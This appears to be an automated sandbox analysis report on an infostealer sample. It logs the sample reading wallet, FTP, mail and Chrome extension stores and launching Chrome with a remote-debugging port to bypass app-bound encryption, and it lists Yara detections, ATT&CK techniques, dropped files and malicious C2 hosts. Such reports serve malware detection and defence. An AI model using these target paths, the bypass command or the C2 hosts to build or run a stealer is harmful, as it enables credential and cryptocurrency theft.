Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\GAOBCVIQIJ
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH
Source: C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	Directory queried: C:\Users\user\Documents\ZQIXMVQGAH

Source: Yara match	File source: 00000000.00000002.2618383963.000000000096C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2620717305.0000000001657000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.3167427735.0000000000EF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.3187030785.0000000000EFD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000003.3146067573.0000000000EF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ea2bf34af0.exe PID: 8376, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match	File source: 00000021.00000003.2989804044.0000000000B64000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 54e727f733.exe PID: 8876, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: ea2bf34af0.exe PID: 8376, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2620717305.00000000015DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2155994551.0000000005080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2618383963.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2987335924.000000000122E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2945914551.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2986151483.00000000004F1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3776, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 215a689fd9.exe PID: 7928, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 3776, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Scheduled Task/Job	1 Extra Window Memory Injection	21 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	112 Process Injection	3 Obfuscated Files or Information	Security Account Manager	248 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	2 PowerShell	Network Logon Script	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	871 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	351 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	351 Virtualization/Sandbox Evasion	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	1 Remote System Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	34%	ReversingLabs	Win32.Trojan.Generic
file.exe	36%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[2].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[2].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe	29%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007063001\e4e71e967a.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Name	IP	Active	Malicious
example.org	93.184.215.14	true	false
chrome.cloudflare-dns.com	162.159.61.3	true	false
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false
plus.l.google.com	142.250.184.238	true	false
cook-rain.sbs	188.114.96.3	true	true
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false
fvtejj5vs.top	62.76.234.151	true	true
home.fvtejj5vs.top	62.76.234.151	true	true
contile.services.mozilla.com	34.117.188.166	true	false
youtube.com	216.58.212.142	true	false
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false
play.google.com	142.250.186.174	true	false
ipv4only.arpa	192.0.0.171	true	false
sb.scorecardresearch.com	18.244.18.122	true	false
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false
www.google.com	142.250.186.164	true	false
googlehosted.l.googleusercontent.com	142.250.186.161	true	false
js.monitor.azure.com	unknown	unknown	false
c.msn.com	unknown	unknown	false
spocs.getpocket.com	unknown	unknown	false
ntp.msn.com	unknown	unknown	false
clients2.googleusercontent.com	unknown	unknown	false
content-signature-2.cdn.mozilla.net	unknown	unknown	false
assets.msn.com	unknown	unknown	false
detectportal.firefox.com	unknown	unknown	false
bzib.nelreports.net	unknown	unknown	false
apis.google.com	unknown	unknown	false
api.msn.com	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731901297588&w=0&anoncknm=app_anon&NoResponseBody=true	false
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731901297599&w=0&anoncknm=app_anon&NoResponseBody=true	false
http://185.215.113.206/68b591d6548ec281/nss3.dll	true
185.215.113.206/c4becf79229cb002.php	true
https://assets.msn.com/statics/icons/favicon_newtabpage.png	false
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	true
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731901295407&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false
p10tgrace.sbs	true
p3ar11fter.sbs	true
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false

URLs from Memory and Binaries

Name	Source	Malicious
https://basket.mozilla.org/news/subscribe_sms/	firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	false
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	false
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000002E.00000002.3218516266.0000021BEB5D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	false
https://spocs.getpocket.com/spocs	firefox.exe, 0000002E.00000002.3206407600.000000D6833FE000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	false
https://screenshots.firefox.com	firefox.exe, 0000002E.00000002.3249402513.0000021BF9819000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3249402513.0000021BF98D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	false
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3320546777.0000021BFD1B9000.00000004.00000800.00020000.00000000.sdmp	false
https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&	firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService	firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	false
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
http://185.215.113.16/caz	ea2bf34af0.exe, 0000001D.00000003.3217652522.0000000000D35000.00000004.00000020.00020000.00000000.sdmp	false
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3269411057.0000021BFB9C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3044325628.0000021BFB40F000.00000004.00000800.00020000.00000000.sdmp	false
https://profiler.firefox.com/	firefox.exe, 0000002E.00000002.3249402513.0000021BF988F000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs/api(	ea2bf34af0.exe, 0000001D.00000003.3217565004.0000000000DCD000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3064365776.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3216599325.0000000000DC5000.00000004.00000020.00020000.00000000.sdmp	false
https://github.com/mozilla-services/screenshots	firefox.exe, 0000002E.00000003.3043406581.0000021BFB200000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3045980898.0000021BFB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3268191781.0000021BFB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3044325628.0000021BFB40F000.00000004.00000800.00020000.00000000.sdmp	false
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180use	firefox.exe, 0000002E.00000002.3239382308.0000021BF7AAF000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3106439610.0000021BFCB8A000.00000004.00000800.00020000.00000000.sdmp	false
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
http://185.215.113.206c	file.exe, 00000000.00000002.2620717305.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	false
https://firefox.settings.services.mozilla.com/v1i	firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	false
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp	false
https://ok.ru/	firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	false
